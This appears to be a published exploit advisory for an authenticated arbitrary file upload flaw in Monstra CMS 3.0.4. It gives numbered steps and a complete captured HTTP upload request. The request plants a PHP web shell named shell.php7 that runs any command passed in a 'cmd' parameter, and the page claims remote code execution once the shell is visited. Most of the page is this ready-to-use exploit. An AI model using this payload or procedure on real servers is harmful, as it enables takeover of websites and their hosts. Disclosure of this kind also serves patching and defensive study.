Monstra CMS 3.0.4 Authenticated Arbitrary File Upload

Risk: High
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload # Google Dork: N/A # Date: 2020-05-18 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: # Software Link: # Version: 3.0.4 # Tested on: Ubuntu 1. Goto: 2. Upload a one liner shell with php7 extenstion ie: shell.php7 #burp request ------------------------------------EOF----------------------------------------------------- POST /monstra/admin/index.php?id=filesmanager HTTP/1.1 Host: Content-Length: 548 Cache-Control: max-age=0 Origin: Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328 Connection: close ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="csrf" 2e6ae2353998caa319aae262b113c6b3f17a9636 ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="file"; filename="shell.php7" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="upload_file" Upload ------WebKitFormBoundarytRfyCkYq8NvztDBf-- ------------------------------------EOF----------------------------------------------------- 3. trigger your shell by visiting We have successfully got Remote Code execution

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top